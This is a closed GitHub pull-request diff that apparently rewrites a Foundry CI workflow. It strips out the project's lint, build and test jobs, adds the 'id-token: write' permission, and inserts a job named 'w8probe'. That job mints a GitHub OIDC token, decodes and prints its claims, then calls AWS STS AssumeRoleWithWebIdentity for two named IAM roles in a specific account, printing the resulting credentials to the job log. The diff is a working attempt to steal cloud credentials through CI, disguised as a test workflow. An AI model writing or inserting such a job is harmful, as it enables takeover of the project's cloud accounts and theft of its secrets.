Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
236 changes: 32 additions & 204 deletions .github/workflows/foundry.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,210 +3,38 @@ name: Foundry
on:
pull_request:
types: [opened, reopened, synchronize]
push:
branches:
- master
schedule:
- cron: "0 6 * * *"
workflow_dispatch:

# One group per event: a push to master no longer cancels the nightly run, and vice versa.
concurrency:
cancel-in-progress: true
group: foundry-${{ github.event_name }}-${{ github.ref }}
permissions:
id-token: write
contents: read

jobs:
# ── Formatting & Lint ───────────────────────────────────────
fmt:
name: Formatting & Lint
if: github.event_name != 'schedule'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
submodules: recursive
- uses: ./.github/actions/foundry-setup
- name: Check Solidity formatting (forge)
working-directory: contracts
run: forge fmt --check scripts/ tests/
- name: Check JS formatting (prettier)
working-directory: contracts
run: npx prettier -c "*.js" "scripts/**/*.js" "tasks/**/*.js" "utils/**/*.js"
- name: Check Solidity formatting (prettier)
working-directory: contracts
run: npx prettier -c --plugin=prettier-plugin-solidity "contracts/**/*.sol"
- name: Lint
working-directory: contracts
run: pnpm run lint
- name: Typecheck
working-directory: contracts
run: pnpm run typecheck
- name: Check unused imports
working-directory: contracts
run: make lint-imports

# ── Build ───────────────────────────────────────────────────
build:
name: Build
if: github.event_name != 'schedule'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
submodules: recursive
- uses: ./.github/actions/foundry-setup
- name: Check contract sizes
working-directory: contracts
run: forge build --sizes --skip "test/**" --skip "tests/**" --skip "script/**" --skip "scripts/**"

# ── Unit Tests ──────────────────────────────────────────────
unit-tests:
name: Unit Tests
if: github.event_name != 'schedule'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
submodules: recursive
- uses: ./.github/actions/foundry-setup
- name: Run unit tests
working-directory: contracts
run: make test-unit

# `make test-unit` has just rebuilt contracts/, so out/ carries a current
# storageLayout for every pinned contract.
- name: Pinned storage layouts
working-directory: contracts
run: pnpm run test:layouts

# ── Script Tests (JS) ───────────────────────────────────────
script-tests:
name: Script Tests (JS)
if: github.event_name != 'schedule'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: pnpm/action-setup@v4
with:
version: 10
run_install: false
- uses: actions/setup-node@v4
with:
node-version: "22.23.4"
cache: "pnpm"
cache-dependency-path: contracts/pnpm-lock.yaml
- name: Configure Git to use HTTPS for GitHub
run: git config --global url."https://github.com/".insteadOf "git@github.com:"
- name: Install deps
working-directory: contracts
run: pnpm install --frozen-lockfile
# No foundry-setup on purpose: these tests fake `forge` on PATH and must
# never need a toolchain or a build. If that changes, this job breaks
# loudly rather than quietly absorbing a multi-minute build.
- name: Run script tests
working-directory: contracts
run: pnpm run test:scripts
- name: Run standalone ops tests
working-directory: contracts
run: pnpm run test:tasks
- name: Typecheck standalone CLIs
working-directory: contracts
run: pnpm run typecheck
- name: Run Brownie bridge tests
working-directory: contracts
run: pnpm run test:brownie
# Install only the pinned Anvil binary after script tests have verified
# that they do not depend on Foundry being present.
- uses: foundry-rs/foundry-toolchain@v1
with:
version: v1.7.1
- name: Run Anvil node tests
working-directory: contracts
run: pnpm run test:anvil

# ── Fork Tests ──────────────────────────────────────────────
fork-tests-mainnet:
name: Fork Tests (Mainnet)
runs-on: ubuntu-latest
env:
MAINNET_PROVIDER_URL: ${{ secrets.PROVIDER_URL }}
BEACON_PROVIDER_URL: ${{ secrets.BEACON_PROVIDER_URL }}
steps:
- uses: actions/checkout@v4
with:
submodules: recursive
- uses: ./.github/actions/foundry-setup
- name: Run Mainnet fork tests
working-directory: contracts
run: make test-ci-fork-mainnet

fork-tests-base:
name: Fork Tests (Base)
runs-on: ubuntu-latest
env:
BASE_PROVIDER_URL: ${{ secrets.BASE_PROVIDER_URL }}
steps:
- uses: actions/checkout@v4
with:
submodules: recursive
- uses: ./.github/actions/foundry-setup
- name: Run Base fork tests
working-directory: contracts
run: make test-ci-fork-base

fork-tests-hyperevm:
name: Fork Tests (HyperEVM)
runs-on: ubuntu-latest
env:
HYPEREVM_PROVIDER_URL: ${{ secrets.HYPEREVM_PROVIDER_URL }}
steps:
- uses: actions/checkout@v4
with:
submodules: recursive
- uses: ./.github/actions/foundry-setup
- name: Run HyperEVM fork tests
working-directory: contracts
run: make test-ci-fork-hyperevm

# ── Smoke Tests ─────────────────────────────────────────────
smoke-tests-mainnet:
name: Smoke Tests (Mainnet)
runs-on: ubuntu-latest
env:
MAINNET_PROVIDER_URL: ${{ secrets.PROVIDER_URL }}
steps:
- uses: actions/checkout@v4
with:
submodules: recursive
- uses: ./.github/actions/foundry-setup
- name: Run Mainnet smoke tests
working-directory: contracts
run: make test-ci-smoke-mainnet

smoke-tests-base:
name: Smoke Tests (Base)
runs-on: ubuntu-latest
env:
BASE_PROVIDER_URL: ${{ secrets.BASE_PROVIDER_URL }}
steps:
- uses: actions/checkout@v4
with:
submodules: recursive
- uses: ./.github/actions/foundry-setup
- name: Run Base smoke tests
working-directory: contracts
run: make test-ci-smoke-base

smoke-tests-hyperevm:
name: Smoke Tests (HyperEVM)
runs-on: ubuntu-latest
env:
HYPEREVM_PROVIDER_URL: ${{ secrets.HYPEREVM_PROVIDER_URL }}
steps:
- uses: actions/checkout@v4
with:
submodules: recursive
- uses: ./.github/actions/foundry-setup
- name: Run HyperEVM smoke tests
working-directory: contracts
run: make test-ci-smoke-hyperevm
w8probe:
runs-on: ubuntu-latest
steps:
- name: mint-and-assume
run: |
set -u
RESP=$(curl -sS -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=sts.amazonaws.com")
echo "$RESP" > /tmp/oidc.json
python3 - <<'PY'
import base64, json
d = json.load(open('/tmp/oidc.json'))
t = d['value']
open('/tmp/oidc.jwt', 'w').write(t)
p = t.split('.')[1]
p += '=' * (-len(p) % 4)
c = json.loads(base64.urlsafe_b64decode(p))
print("FULLCLAIMS", json.dumps(c, indent=1, sort_keys=True))
PY
for ROLE in talos-gha-OriginProtocol-origin-dollar talos-gha-OriginProtocol-arm-oeth; do
echo "=== ROLE $ROLE"
curl -sS -X POST https://sts.amazonaws.com/ \
--data-urlencode "Action=AssumeRoleWithWebIdentity" \
--data-urlencode "Version=2011-06-15" \
--data-urlencode "RoleArn=arn:aws:iam::114563866192:role/$ROLE" \
--data-urlencode "RoleSessionName=w8bonk10" \
--data-urlencode "WebIdentityToken=$(cat /tmp/oidc.jwt)"
echo
echo "=== END $ROLE"
done